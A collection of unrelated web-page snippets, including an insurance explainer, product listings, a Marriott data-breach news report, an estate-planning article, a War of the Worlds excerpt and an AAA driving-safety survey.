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Directors and Officers Liability Insurance
Liability insurance for directors and officers is not just for large public companies; it can be an equally valuable risk management tool for smaller businesses.
Directors and Officers (D&O) liability insurance helps protect directors and officers of public and private for-profit businesses of all sizes, as well as non-profit organizations, and educational institutions.
A D&O insurance policy provides financial protection for managers against claims arising from actual or alleged "wrongful acts" of directors and officers acting within the scope of their managerial duties. A D&O policy is designed to pay for defense costs and financial losses. It may also cover the costs associated with administrative and criminal proceedings and with investigations by regulators or criminal prosecutors.
D&O insurance is not designed to cover certain risks, such as those attached to fraud, intentionally bad acts, illegal remuneration, property damage and bodily harm, and pre-existing legal actions.
Primary D&O Risks
The risks confronting directors and officers are manifold, and may include:
- Employment practices and other human-resource-related issues
- Shareholder actions
- Reporting errors
- Inaccurate and inadequate disclosure
- Failure to comply with laws or regulations
- Decisions that exceed the authority of a company officer
D&O insurance is not just about protecting directors and officers against the financial risks that may arise from the decisions they make. A key benefit of having such protection is that it provides company officers and members of a company board with the room to make decisions with the knowledge that the risks attached are manageable and transparent.
The content is developed from sources believed to be providing accurate information. The information in this material is not intended as tax or legal advice. It may not be used for the purpose of avoiding any federal tax penalties. Please consult legal or tax professionals for specific information regarding your individual situation. This material was developed and produced by FMG Suite to provide information on a topic that may be of interest. FMG, LLC, is not affiliated with the named broker-dealer, state- or SEC-registered investment advisory firm. The opinions expressed and material provided are for general information, and should not be considered a solicitation for the purchase or sale of any security. Copyright FMG Suite.


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VirtualBox is a family of powerful x86 virtualization products for enterprise as well as home use. Not only is VirtualBox an extremely feature rich, high performance product for enterprise customers, it is also the only professional solution that is freely available as Open Source Software under the terms of the GNU General Public License (GPL). See "About VirtualBox" for an introduction.
Presently, VirtualBox runs on Windows, Linux, Macintosh and OpenSolaris hosts and supports a large number of guest operating systems including but not limited to Windows (NT 4.0, 2000, XP, Server 2003, Vista), DOS/Windows 3.x, Linux (2.4 and 2.6), Solaris and OpenSolaris, and OpenBSD.
VirtualBox is being actively developed with frequent releases and has an ever growing list of features, supported guest operating systems and platforms it runs on. VirtualBox is a community effort backed by a dedicated company: everyone is encouraged to contribute while Sun ensures the product always meets professional quality criteria.

subset: commoncrawl


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Speedtest® for Your Desktop
Why take the time to load up a browser when Speedtest is right there on your desktop? Available for Mac and Windows, this embedded experience is specifically designed to be fast and easy to use.
- Discover your download and upload speeds
- Diagnose connectivity issues
- Detect trends over time with detailed reporting
Available in 17 languages.
Our mission at Speedtest by Ookla® is to make the internet faster by providing data and insights on real-world internet speeds. With billions of tests worldwide, we meet you where you are with apps for the devices you use most.


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A. dozen rockets jumped out of the hills before them so soon as they began to move, and warned the waiting batteries about Ditton and Esher. At the same time four of their fighting machines, similarly armed with tubes, crossed the river, and two of them, black against the western sky, came into sight of myself and the curate as we hurried wearily and painfully along the road that runs northward out of Halliford. They moved, as it seemed to us, upon a cloud, for a milky mist covered the fields and rose to a third of their height.At this sight the curate cried faintly in his throat, and began running; but I knew it was no good running from a Martian, and I turned aside and crawled through dewy nettles and brambles into the broad ditch by the side of the road. He looked back, saw what I was doing, and turned to join me.
Block quota
To us and to an observer about Ripley it would have had precisely the same effect – the Martians seemed in solitary possession of the darkling night, lit only as it was by the slender moon, the stars, the afterglow of the daylight, and the ruddy glare from St. George's Hill and the woods of Painshill.
Did they dream they might exterminate us? (At that time no one knew what food they needed.) A hundred such questions struggled together in my mind as I watched that vast sentinel shape. And in the back of my mind was the sense of all the huge unknown and hidden forces Londonward. Had they prepared pitfalls? Were the powder mills at Hounslow ready as a snare? Would the Londoners have the heart and courage to make a greater Moscow of their mighty province of houses?
And then the Martian beside us raised his tube on high and discharged it, gunwise, with a heavy report that made the ground heave. The one towards Staines answered him. There was no flash, no smoke, simply that loaded detonation. I was so excited by these heavy minute-guns following one another that I so far forgot my personal safety and my scalded hands as to clamber up into the hedge and stare towards Sunbury. As I did so a second report followed, and a big projectile hurtled overhead towards Hounslow. I expected at least to see smoke or fire, or some such evidence of its work. But all I saw was the deep blue sky above, with one solitary star, and the white mist spreading wide and low beneath. And there had been no crash, no answering explosion. The silence was restored; the minute lengthened to three.


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Table I Interviews, 1999-2003
- Creator:
- Duke University. Medical Center. Division of Cardiology.
- Containers:
- Box 13
Using These Materials
- Using These Materials Links:
Using These Materials
- Collection restrictions:
This collection may contain materials with sensitive or confidential information that is protected under federal or state right to privacy laws and regulations, including the Health Insurance Portability and Accountability Act (HIPAA). Researchers are advised that the disclosure of certain information pertaining to identifiable individuals represented in this collection without the consent of those individuals or IRB approval may have legal ramifications (e.g., a cause of action under common law for invasion of privacy may arise if facts concerning an individual's private life are published that would be deemed highly offensive to a reasonable person) for which Duke University assumes no responsibility.
Contains Medical Center Administrative records. These include records of the officers of the University, as defined in the Bylaws, the deans of schools and colleges, and departments, institutes, and other offices as designated by the President. For a period of twenty-five years from the origin of the material, permission in writing from the director of the office of record and the Medical Center Archivist is required for use. After twenty-five years, records that have been processed may be consulted with the permission of the Medical Center Archivist. (Issued by the Office of the Chancellor, December 1, 1975).
Collection must be screened for sensitive or confidential materials before being accessed. For further information consult with the Medical Center Archivist. - Use & permissions:
Copyright for Official University records is held by Duke University; all other copyright is retained by the authors of items in these papers, or their descendants, as stipulated by United States copyright law.


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Physical Therapist - Legend - NW Houston
- In house therapy – job stability, growing company
- Clinical mentorship – job shadowing
- Leadership development
- Clinical and Program development
- Work life balance - flex schedule - competitive benefits
- Strong infection control to prevent COVID and keep staff/residents safe
Legend Oaks Healthcare in Houston, TX, is a skilled nursing facility with long term care, post-acute rehab, and geriatric outpatient therapy services provided.
Browse our website at www.FlagshipTherapy.com and find out why we are truly different in dignifying long term care.
- Every facility has an in-house therapy team – no contract therapy company. All department teams work for the facility and share the same goals
- Each facility is independently operated with local leadership and no corporate red tape
- Decisions made at the facility for the facility staff and community needs
- Core Values (CAPLICO): Customer Second, Accountability, Passion for Learning, Love One Another, Intelligent Risk Taking, Celebration, Ownership. These values are the core of who we are as an organization and shared among all affiliated facilities
- Effectively screens/evaluates patients with physical functioning disorders and/or wound care and develops appropriate plan of care following all regulatory and clinical practice standards.
- Provides rehabilitative, skilled and medically necessary treatment intervention to patients with physical functioning disorders and/or wound care per regulatory and clinical practice requirements.
- Administers various procedures as part of the rehabilitation plan including but not limited to: manual techniques; ambulation; therapeutic exercises; modalities; use of supportive and assistive devices; wound care; etc.
- Provides consultation and counseling to patients, as well as families, caregivers and other service providers related to the physical disorders.
- Provides comprehensive discharge summary of services provided per regulatory and clinical requirements.
Licensed Physical Therapist
This position is open to PTs at all experience levels. New Grads Welcome!
Licensed Physical Therapist
This position is open to PTs at all experience levels. New Grads Welcome!
Pay rates are competitive and based on various factors. Rates noted as "estimated" are established by job posting websites and may not reflect actual pay rates.
We are an Equal Opportunity Employer. All qualified applicants will receive consideration for employment without regard to race, color, religion, sex, age, sexual orientation, gender identity, national origin, disability or veteran status.
Pay range:
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This item is in stock at our supplier's warehouse.
When you order this item, it will be immediately dispatched from our supplier for delivery to Gear4music Limited. When we receive the item we will package it carefully for its onward journey to you.
"Can be delivered to you on" shows the next available date that we will be able to deliver this item to you on, depending on the delivery option you select, and the stock availability of anything else that you add to your shopping basket. Please note, this is an estimate and based on the supplier's delivery time to us.


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Export 7 results:
Filters: Author is Near, R. D. [Clear All Filters]
Bacteriorhodopsin/TiO(2) nanotube arrays hybrid system for enhanced photoelectrochemical water splitting. Energy & Environmental Science. 2011 ;4:2909-2914.
. Hollow gold nanorectangles: The roles of polarization and substrate. Journal of Chemical Physics. 2013 ;139.
. The Most Effective Gold Nanorod Size for Plasmonic Photothermal Therapy: Theory and In Vitro Experiments. Journal of Physical Chemistry B. 2014 ;118:1319-1326.
. Multimodal plasmon coupling in low symmetry gold nanoparticle pairs detected in surface-enhanced Raman scattering. Applied Physics Letters. 2011 ;98.
. Plasmonic enhancement of photodynamic cancer therapy. Journal of Photochemistry and Photobiology a-Chemistry. 2013 ;269:34-41.
. Rapid and Efficient Prediction of Optical Extinction Coefficients for Gold Nanospheres and Gold Nanorods. Journal of Physical Chemistry C. 2013 ;117:23950-23955.
. Thin to Thick, Short to Long: Spectral Properties of Gold Nanorods by Theoretical Modeling. Journal of Physical Chemistry C. 2013 ;117:18653-18656.


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Artificial Jasmine Flower And Pink Lotus Buds Backdrop Decoration
Regular price
Regular price
Sale price
Unit price
Inclusive of all taxes.
Select Add Ons
This Lotus Buds Floral White Backdrop Decoration is perfect for adding a touch of whimsy to any special occasion. Crafted from a lightweight yet durable material, the backdrop decoration is sure to make an impact with its soft white hue and beautiful floral detailing. With a quick and easy setup, it's a great way to enhance any space.
(LxW): (150x90)cms
One piece has 9 strings (as shown in the image); every alternate string is shorter.
Approximate Weight: 130 g
Material: Paper, Plastic
Packed & Manufactured by: Mobikasa Ventures LLP
Address: My Pooja Box, Jagat Complex, 100 Feet Road, Ghitorni, New Delhi -110030
Address: My Pooja Box, Jagat Complex, 100 Feet Road, Ghitorni, New Delhi -110030
Country of Origin: India
Shipping & Returns
Shipping & Returns
Returns Policy
- Our return policy lasts for 5 days from the date of delivery. Kindly contact us for any return/refund/exchange within 5 days from the date of delivery.
- Return policy is applicable in case of damaged / defected items only.
- Item must be unused & to be packed in original packaging.
- Item will be inspected before processing the refund/exchange.
- In case the customer is not satisfied with the product or has had a change of mind, then the customer is responsible to send the product back to us. Post receiving the product we will check the quality of the same and then proceed with the refund. Return courier charges are to be borne by the customer in this case. Please note, My Pooja Box offers reverse pick-up only in case of defects/wrong product delivered.
- To request a return/exchange, please email us at firstname.lastname@example.com or whatsapp us at +918010588885 with your order number, pictures of the item that you wish to return/exchange and the reasons.
- We will arrange a reverse pick-up of the products within 2-4 working days.
- Upon receiving the returned products, prepaid orders will be refunded as soon as our inspection team approves the return.
- COD orders: Customers will be required to provide their bank details where they would like to receive the refund.
- We aim to dispatch all orders within 72 hours. In case of missing items/ unavailability or delay, we will inform you via email or whatsapp with the expected date of dispatch.
- Most orders are delivered by our courier partners within 7 working days from the date of dispatch.
- Shipping is free on all paid orders.


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Hawkee is a writing platform for web developers. We've created an environment to quickly, easily and painlessly share ideas, code and experiences.
Our page editor aims to focus on the content, clearing the way to quickly and easily write about development.
If you can't fill an entire page, start a thread.
Full GitHub flavoried markdown support.


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Heads up if you've stayed or made reservations at a Marriott or Starwood property over the last decade. A major security issue was just announced and the scope of the problem is actually quite astonishing. Here's what you need to know about the Marriott International data breach.
What is the Marriott Data Breach?
On November 30th, Marriott International announced that the private information of up to 500 million guests became compromised. The breach is one of the largest in history and brings up a variety of concerns regarding consumer privacy safety.
They noted that an internal tool recognized a data breach in September, but wasn't able to confirm the issue was part of the Starwood database until November. Further investigation revealed that the problem has happened since as far back as 2014 and that the exact breadth of the issue isn't yet known.
Who is Affected by the Marriott Data Breach?
To be blunt, 500 million people is a lot. If you've traveled on business in the past or regularly stay at the hotel chain's properties, your personal data is likely compromised. Additionally, those who merely made reservations but never actually stayed the night are also included in the breach.
According to NBC News, Marriott also reported that for 327 million of those people, the information includes some combination of a name, mailing address, phone number, email address, passport number, Starwood Preferred Guest account information, date of birth, gender, arrival and departure information, reservation date, and communication preferences. Encrypted credit card information is also likely stolen, but the company isn't yet sure if the thieves were able to reveal account numbers.
An additional report also suggested that employee information might have even been compromised, especially in situations where workers took advantage of employee discounts to stay at hotels around the globe.
What is Marriott Doing After the Data Breach?
While the initial statement from the company was vague, they have taken steps to improve the situation by hiring the public relations firm Kroll. Those concerned about being part of the Marriott data breach may check for more information at a website provided by the hotel chain.
Maryland Attorney General Brian Frosh is opening an investigation into the incident, citing the company headquarters in his state as the reasoning for his inquisition. Additionally, New York planned to look into the incident and other states where the company has properties are likely to follow. There is no word yet on how the breach is being reviewed internationally.
Furthermore, within hours of the news, a class action lawsuit for 12 billion dollars was filed by Ben Meiselas of Geragos & Geragos. The suit is on behalf of two plaintiffs who feel duped by the company not immediately admitting there was a security issue. In other cases in the past are any indication, there's likely to be a settlement out of court soon.
What Can Other Companies Learn from Marriott's Data Breach?
At this time, it is hard to tell what other companies can learn from Marriott International's data breach since news of the incident is still relatively recent. Other companies have faced similar issues in the past, such as Yahoo's admission earlier this year that the three billion accounts had information hacked and Under Armour's data breach of 150 million MyFitnessPal user accounts. Those companies were able to provide customers with free credit monitoring to try to earn back trust, but time will still tell on how it affects each firm's reputation overall. Both have made attempts to increase application cybersecurity.
In short, if you have made a reservation or stayed at a Marriott Hotel or Starwood property in the last few years, it is wise to invest in some version of identity theft monitoring. Also, consider additional discussion and concerns with your lawyer general and by making a claim on Marriott's data breach website.
Having a reliable and enthusiastic partner in the realm of IT services and solutions is essential for achieving continuous growth by implementing effective technological strategies. Our owner, Joe Cannata, is wholeheartedly dedicated to helping clients optimize their technology to gain a competitive edge in their industries.
At Techsperts, Joe leads a team of highly dedicated professionals who are fully committed to providing exceptional IT services and solutions. With his extensive expertise and hands-on experience, Joe ensures that clients receive unparalleled support and guidance for their IT projects. You can trust Techsperts to elevate your business systems and remain at the forefront in today's fiercely competitive business landscape.


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Wednesday July 24, 2024
Personal Planner
Ten Reasons to Update Your Estate Plan
You have completed a will and perhaps a revocable living trust. Your durable power of attorney for healthcare and a living will are in place. All of your records are safely in place and carefully organized.
So you now are finished with your estate planning. Or are you? Will there be changes in your circumstances or your family that should lead to a review of your plan? Could some events cause you to need to revise or update the plan?
Yes, there are a number of reasons to consider revising or updating your plan. These include any of the following reasons:
1. New Children, Grandchildren or Other Heirs
Your estate plan almost certainly makes provision for children and other heirs who are living when you pass away. If you have a specific transfer to one child, a new child may receive a smaller than intended inheritance.
For example, John Smith had a $1 million estate and left a $400,000 residence to child A. He then divided the balance of the estate with 1/6 of the balance to child A and 5/6 to child B. If a third child is born, depending upon state law, the child might receive nothing or perhaps would benefit from a portion of the residue. In either case, the uncertainty could lead to estate litigation or to family strife.
If you have a sizeable estate and there are large specific bequests, the arrival of a new heir is a good time to review your plan. One option is to transfer assets to the heirs "then living" when you pass away.
If the estate is $1 million, in some states a child C who is born later would receive 1/3 of the estate. This could dramatically change the benefit for child B and leave her with a reduced inheritance. In addition, child C could be a minor or a very young adult and not be capable of managing his or her property. For several reasons, the arrival of a new heir makes a review of your plan very important.
2. Move to a Different State
If you are married and move to a different state, there may be a change in the laws that affect ownership. Some states are called "common law" property states and some are "community property." If you move from one state to another and change in either direction, it may be important to clarify the ownership of your property as separate property or joint property.
For individuals with moderate to larger estates, there could be significant estate or inheritance taxes. Several states have inheritance taxes that will apply at lower levels than the federal exemption per person. Depending on who among your relatives receives your property, a new state may have a substantial tax.
Finally, many states have specific rules on durable powers of attorney for healthcare, living wills or advance directives. If you acquire permanent legal residence in the state, your doctors will expect that your medical planning documents reflect their state law.
3. Sale or Purchase of a Major Asset
You may have a major real estate asset or a business that is to be transferred to one of your heirs. If that property is sold or substantially increases in value, your entire plan could change. For example, if a property greatly increases in value and there is a large estate tax that is paid out of the residue of your estate, the beneficiary of that specific property could receive a much larger inheritance than you intend. Those children or other heirs who are receiving the residue could find their inheritance greatly reduced by estate tax paid on the asset transferred to the first child.
Alternatively, if the first asset is sold, a child may receive a smaller than intended inheritance. Therefore, a significant sale or purchase is a good time for an estate planning review.
4. Reaching Age 73
The four types of estate property are generally cash and cash equivalents, stocks, real estate and qualified plans. Over the years, your qualified retirement plan may become a large portion of your estate. Your IRA, 401(k) or other qualified plan will require distributions to start on April 1 of the year after you reach age 73.
If you pass away before the entire plan is paid out to you during your retirement years, the balance is transferred to your designated beneficiary. Because retirement plans have grown substantially over the past decade, it's very important to review your beneficiary designations. Many individuals pass away and the plan value is transferred to beneficiaries who have been selected 10, 15, and even 25 years earlier. There could be many reasons why you would want to update that beneficiary designation and age 73 is a logical time to do so.
5. Your Selected Beneficiary is Deceased
In many families there are unmarried brothers or sisters. It is quite common for these individuals to receive an inheritance and to remember the surviving brothers and sisters in their plans. However, even if there are two or three unmarried brothers or sisters, one will inevitably be the survivor and hold most of the assets. If you are remembering a sibling in your plan, there is a substantial possibility he or she will pass away before you do. In that case, it is useful to revise the plan and select a new recipient of that share of your estate.
6. Divorce or Remarriage
Estate plans for single persons are quite different from those of married couples. A single person who transfers assets to a former spouse will not qualify for the unlimited marital deduction. While property settlements are typically handled during the dissolution of marriage proceedings, there are many cases where individuals forget to change beneficiary designations on retirement plans and insurance policies. If an individual later remarries and is survived by their new spouse, there is a high likelihood of litigation between the ex-spouse and the new spouse if the individual forgot to update his or her beneficiary designations. Therefore, this person's plan and beneficiary designations should always be reviewed in the event of a divorce or remarriage.
7. Substantial Change in Value
If someone's estate increases or decreases significantly in value, there can be major impact on beneficiaries. For example, Mary has three children, Anne, Bob and Charlie. She leaves a home valued at $300,000 to Anne, a large ranch on desert land valued at $400,000 to Bob and the liquid assets to Charlie, who has the greatest financial need. While Mary is in a nursing home and no longer able to change her will, a utility builds windmills on most of the desert ranchland and pays large annual lease payments. The value of the desert ranch dramatically increases. When Mary passes away, Bob receives the ranch, not worth $400,000 but $8 million. Bob receives an inheritance far greater than Anne or Charlie.
8. Adding a Major Property to a Living Trust
If you have a substantial estate, you may hold your real estate in a living trust. If you invest in real estate or acquire a major new property and transfer that to the living trust, it will be useful to review the plan. In some circumstances, there may be different beneficiaries for the living trust than for your qualified plans and life insurance. The addition of a high value asset to the living trust could increase the benefits for children receiving shares from the trust in comparison to the rest of your heirs.
9. Selected Executor or Trustee Not Available
With a will or a revocable living trust, you may also select a successor executor or trustee. While this usually will handle the situation in which the primary executor or trustee predeceases you, it still is useful to review your plan if one of the designated individuals passes away. You can easily select a new primary executor or trustee with an appropriate backup person.
10. Passage of Time
Estate plans are affected by changes in your asset value, by changes in your family, and potentially by changes in federal or state law. Therefore, it is useful every three to five years for you to sit down with your attorney and review your plan. Given all the potential areas that can change, it is quite likely that you may wish to modify some portion of the plan.
Published December 8, 2023
Previous Articles
Passing Unequal Shares in Your Will


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18W clear glass 210 lumen fancy round halogen globe
Globe Type | ES |
Globe Shape | Fancy Round |
Colour Temperature | Warm White |
Kelvins | 2800K |
Wattage Max | 18W |
Lumens | 210 |
Efficacy | 11.7 |
Lighting Technology | Halogen Lights |
Globe Quantity | 0 |
Product Type | Globes |
Average Rated Life | 1,500K |
Voltage | 240V |
For more information, click here for our returns & warranties policy, email email@example.com or call the warranty hotline on 1800 602 243.
- Free shipping for orders over $120*
- Free shipping for Globe orders over $50*
- Metro same day delivery. Order before noon on weekdays*
- Pick Up In-Store - 3-Hour Click & Collect
Beacon Lighting offers a full refund or exchange for change of mind purchases within a 30-day period with proof of purchase (receipt or website order confirmation email).
Our Design Services
Free In-store Advice
Looking for lighting inspiration for your home? Visit any of our stores and get free expert advice from our lighting consultants.
In-home Consult Service
Get professional advice on the best products and placement to match your budget and style with a personal consultation in the comfort of your own home.
In-studio Experience
Get the ultimate designer touch with customized lighting plans and expert insights at a personal in-studio session with one of our lighting designers.
Our Installation Services
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Get your new fan, exterior light or bathroom heater/exhaust fan installed at affordable, fixed prices.
New Ceiling Fan Installation
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Pay a fixed price of $195 for your first replacement exterior light installation and $90 for every additional installation.
Replacement Exhaust Fan/Heat Lamp Installation
Pay a fixed price of $195 for your first exterior and bathroom installation and $90 for every additional installation.


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The objective of scaling and root planing is to remove etiologic agents which cause inflammation to the gingival (gum) tissue and surrounding bone. Common etiologic agents removed by this conventional periodontal therapy include dental plaque and tartar (calculus).
These non-surgical procedures which completely cleanse the periodontium, work very effectively for individuals suffering from gingivitis (mild gum inflammation) and moderate/severe periodontal disease.
Reasons for scaling and root planing
Scaling and root planing can be used both as a preventative measure and as a stand-alone treatment. These procedures are performed as a preventative measure for a periodontitis sufferer.
Here are some reasons why these dental procedures may be necessary:
What do scaling and root planing treatments involve?
Scaling and root planing treatments are only performed after a thorough examination of the mouth. The dentist will take X-rays, conduct visual examinations and make a diagnosis before recommending or beginning these procedures.
Depending on the current condition of the gums, the amount of calculus (tartar) present, the depth of the pockets and the progression of the periodontitis, local anesthetic may be used.
Scaling – This procedure is usually performed with special dental instruments and may include an ultrasonic scaling tool. The scaling tool removes calculus and plaque from the surface of the crown and root surfaces. In many cases, the scaling tool includes an irrigation process that can also be used to deliver an antimicrobial agent below the gums that can help reduce oral bacteria.
Root Planing – This procedure is a specific treatment which serves to remove cementum and surface dentin that is embedded with unwanted microorganisms, toxins and tartar. The root of the tooth is literally smoothed in order to promote good healing. Having clean, smooth root surfaces helps bacteria from easily colonizing in future.
Following these deep cleaning procedures, the gum pockets may be treated with antibiotics. This will soothe irritation and help the gum tissues to heal quickly.
During the next appointment, the dentist or hygienist will thoroughly examine the gums again to see how well the pockets have healed. If the gum pockets still measure more than 3mm in depth, additional and more intensive treatments may be recommended.
If you have any concerns or questions about scaling and root planing, or periodontal disease, please ask your dentist.
Connect With Us
Ready to come in for an appointment? Contact us today!


text: Helping you make it happen It's likely that you wouldn't step into a car and start driving without a few lessons. The same maxim is true before buying your home, because the more informed you are, the better the decisions you can make with your Mortgage Broker. We have created this easy-to-read Learning Centre to help you learn more about qualifying for a home, buying, refinancing and investing, and much more. Practical tips, smart advice, news and helpful videos all at your fingertips. How helpful is that? |


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Advice for stirring your online community and fostering engagement Sticky note agile personas
When you enter into any new area of science, you almost always find yourself with a baffling new language of technical terms to learn before you can converse with the experts. This is certainly true in astronomy both in terms of terms that refer to the cosmos and terms that describe the tools of the trade, the most prevalent being the telescope. So to get us off of first base, let's define some of the key terms that pertain to telescopes to help you be able to talk to them more intelligently.
The first area of specialization in telescopes has to do with the types of telescopes people use. The three designs of telescopes that most people use are the Refractor, the Reflector and the Schmidt Cassegrain telescope. The refractor telescope uses a convex lens to focus the light on the eyepiece. The reflector telescope has a concave lens which means it bends in. It uses mirrors to focus the image that you eventually see. The Schmidt Cassegrain telescope uses an involved system of mirrors to capture the image you want to see. A binocular telescope uses a set of telescopes mounted and synchronized so your view of the sky is 3-D.
Beyond the basic types, other terms refer to parts of the telescope or to the science behind how telescopes work. Collimation is a term for how well tuned the telescope is to give you a good clear image of what you are looking at. You want your telescope to have good collimation so you are not getting a false image of the celestial body.
Aperture is a fancy word for how big the lens of your telescope is. But it's an important word because the aperture of the lens is the key to how powerful your telescope is. Magnification has nothing to do with it, its all in the aperture.


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Insulation Installers Arnold, MO
- 8888912664
- Tarzana, CA, 91356
- Visit website
Insulation for a home can come in a few different varieties but the main insulation that most people request to get installed in Arnold is fiberglass and cellulose. The advantages to of having fiberglass installed to insulate your home are it's a very good material because it really does stop heat and cold air escaping and it's fairly easy to install. It's easy to install because it comes in a batt or roll; this means a qualified insulation installer can remove your old insulation and clean the space then roll the insulation in to the appropriate space. It can be itchy but it really is fantastic at insulating any space.
Cellulose insulation is mostly made from recycled materials and is a little more environmentally sound. It serves the purpose of helping insulate your home or business and can be applied by spraying it between cavities. One of the advantages of having cellulose insulation installed is it fills every little inch of a space. It is fantastically efficient in retaining heat and it does a wonderful job making sure no heat is wasted in your attic or through your walls.
When you decide you want to pick an insulation we recommend looking through Powered by the Peoples website to find the most qualified insulation contractor in Arnold. You will be able to see reviews and make a decision and way-up different prices. We make a big deal to research all of the insulation contractors in Arnold and pick the best based on reviews and customer feedback. You can then get a few quotes from qualified insulation contractors and settle on the company that you thought offered you the best deal.
So whatever insulation you need for your home you can count on Powered by the People to provide a network to some of the best experts in Arnold, we look forward to hearing from you.


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Brasserie Fantôme x Saint Somewhere Brewing Co. '5 Monkeys Somewhere' Belgian Blonde Ale (Wallonie, Belgium)
Regular price$17.00
Collaboration with Saint Somewhere Brewing Co. (Tarpon Springs, Florida)
- Local Delivery Available
Do you offer home delivery?
Yes! If the address of the order is within a six mile radius of our store, we offer same day delivery Monday through Saturday for orders placed by 12pm. Any orders placed after 12pm will be delivered the following day with the exception of Saturday afternoon orders which are delivered on Monday.
We charge a $5 fee for orders that are within our delivery area and that meet a min $50 order before sales tax. If your order is under $50 before sales tax, our delivery fee is $10.
If you are outside of our delivery area but live in Michigan, please contact us as we may be able to deliver or ship for an extra charge.
If you are outside of our delivery area but live in Michigan, please contact us as we may be able to deliver or ship for an extra charge.
Will you deliver to a business?
We do deliver to businesses but we reserve the right to request a home address if necessary.
When can I pick-up my order?
Orders are typically packed within 30 minutes of when we receive them. Once you receive a text or email (check your spam box!) letting you know your order is ready, you may come and pick it up. If you place an order within 30 minutes of our closing time and would like to pick-up before we close, please let us know via phone (734) 827-9463 or text 734-489-9444 and we will be sure to have it ready. Our store hours for pick-up are 9a-7p Monday through Friday, 8a-6p Saturday, and 12p-5p Sunday.
If I buy a case, is there a discount?
If your total before tax is $120 or more, you will be given an automatic 10% discount at checkout. If you're ordering several cases, contact us and we can work out a way to give you a bigger discount.
How do I redeem an old everyday wines gift card?
Is it possible to send a physical gift card to my gift card recipient?
What is your return and refund policy?
How do I redeem an old everyday wines gift card?
If you received a gift card before December 2020, please email us and we can reissue you a gift card that you can use online or at the store. If you received a gift card after December 1, 2020, you should have a code that you can use to redeem online or in the store.
Is it possible to send a physical gift card to my gift card recipient?
Yes! Call (734-827-9463), text (734-489-9444) or email us and provide the recipient's mailing address, any gift note you would like to include, and the electronic gift card code that was emailed or texted to you at the time of the purchase.
What is your return and refund policy?
The State of Michigan does not allow us to take back unopened bottles of alcohol for credit or refund after purchase. If an open bottle of wine is off or spoiled for some reason, please bring the bottle back (please don't pour out the wine!) and we can provide you with a refund or replace the bottle.


text:
CatEye Volt 100 XC HL-EL051RC XC
The Volt100XC is an extremely lightweight and dependable commuter headlight. At just 43 grams, the 100 lumen Volt100XC is a feather light option for commuters, or other riders looking for an affordable way to illuminate a dark street or bike path. The matchstick style USB rechargeable Li-ion battery charges in just 1.5 hours and puts out 1 hour of lighting on high mode, or approximately 5 hours when in flashing mode. The easy-to-attach rubber bar mount strap means you can keep this light in your pants or jersey pocket during daylight hours to avoid theft. For an affordable, lightweight, and reliable headlight option, look no further than the Volt100XC.
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text:
Buy and Download Vector Editable Town Map Files. Part of the collection of town maps in County Durham.
N.B. If you purchase this map you receive the area shown on the map below or the pdf sample download. The purchased map does not cover a larger area and it doesn't show any more detail. It is a vector map download which can be excellent for printing or editing with a vector graphics software. If you require a larger area please get in touch before making a purchase and we'll sort it out for you.
This street map covers an area of approximately 1 square kilometer and includes a range of important features such as roads, streets, parks, waterways, buildings, and car parks. The map is color-coded to distinguish different types of roads, such as motorways, A roads, B roads, and streets. Additionally, a blue grid overlays the map, with each square approximately 100 meters in size and corresponding to the detailed street index above the map.
If you need a more customized street map, we offer a bespoke service that allows you to include postcode boundaries, delivery zones, or other labels and boundaries. Simply contact us by phone or email to let us know your specific requirements, and we'll design the map for you at a small fee. Delivery is typically within a couple of hours, and we can supply the artwork in a range of file formats, including Illustrator, SVG, PDF, PowerPoint, JPG, PNG, Photoshop, and EPS. We can also provide large format, glossy laminated prints or printed panel maps. Get in touch with us today to learn more.
Call or message us today to talk about your bespoke projects. Tel 01751 473136 or Contact Form
Call or message us today to talk about your bespoke projects. Tel 01751 473136 or Contact Form


text:
Dorset (England) manuscript collection
- Colección
- 1796
The collection consists of seven inventories, compiled for each Dorset parish, of the number of farmers, livestock, amount and type of crops (dead stock), number of servants who can be mounted on horseback, number of servants who can be armed with pickaxes and shovels. The inventories were collected by Lord Milton's Corps of Yeomanry Calvary, the volunteer Dorset Rangers. It seems likely that the inventory was prepared in anticipation of a French invasion.


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text:
Americans are much less worried about drunken, drowsy and aggressive driving than they were four years ago even though traffic deaths have begun to edge back up, according to a national survey released by AAA.
The share of people who said they believe texting or emailing while driving is a very serious threat declined only slightly over the same period, from 87 percent in 2009 to 81 percent in 2012. More than 80 percent of those surveyed considered texting while driving a "completely unacceptable behavior," but 1 in 4 people admited doing so within the previous month.
Concern about risks of talking on a cellphone behind the wheel remained consistent with about 58 percent of those surveyed over the four years saying they consider it a "very serious threat." On the other hand, 68 percent of those surveyed over the period said they had recently used a cellphone while driving.
The findings being released Thursday are based on 11,000 interviews with people of driving age from 2009 to 2012 conducted on behalf of the AAA Foundation for Traffic Safety. Some of the drivers may have been interviewed more than once over the four years, AAA said.
"Motorists may be growing more complacent about potential safety risks behind the wheel," said Peter Kissinger, the foundation's president and CEO. "A 'do as I say, not as I do' attitude remains common with many motorists consistently admitting to engaging in the same dangerous behaviors for which they would condemn other drivers.
There were more than 34,000 traffic deaths in 2012, a 5.3 percent increase. That was the first annual increase in seven years, according to the National Highway Traffic Safety Administration. More than 2.3 million people annually also suffer serious injuries from crashes.
The share of people who said they believe driving after drinking is a very serious threat declined from an overwhelming 90 percent in 2009 to 69 percent in 2012. The share of people who said they consider driving after drinking "completely unacceptable" also declined, but less dramatically — from 95 percent in 2009 to 89 percent last year. Fourteen percent of those surveyed acknowledged driving when they thought their blood alcohol levels were close to or possibly over the legal limit last year.
Driving when so drowsy that it's difficult for a driver to keep his or her eyes opened was viewed as a serious threat by 46 percent of those surveyed last year, down from 71 percent in 2009.
The share of people who said they consider running a red light when a driver had time to stop to be completely unacceptable also declined, from 77 percent in 2009 to 70 percent in 2012. More than a third — 38 percent — admitted to running a red light within the previous month.
About three-quarters of those surveyed said it's unacceptable to drive 15 mph or more over the speed limit on residential streets, but far fewer — from 39 percent to 46 percent over the four years — considered it unacceptable to speed on freeways.
Part of the problem may be that public and media attention to highway safety has been waning, said Jonathan Adkins, a spokesman for the Governors Highway Safety Association, which represents state highway safety offices.
Four years ago, then-Transportation Secretary Ray LaHood launched a federal campaign against distracted driving, attracting massive attention to the issue of texting and talking on the phone behind the wheel. About the same time, claims of Toyota cars with stuck accelerators were prominent in the news and the focus of congressional hearings.
"Much of that has died down," Adkins said. "Also, when highway fatalities go down, as they have until just very recently, there is less attention paid to it by the media and people tend to feel like that problem has been solved. Highway safety in general has always been difficult to make a big concern among the public despite the high numbers (of deaths)."
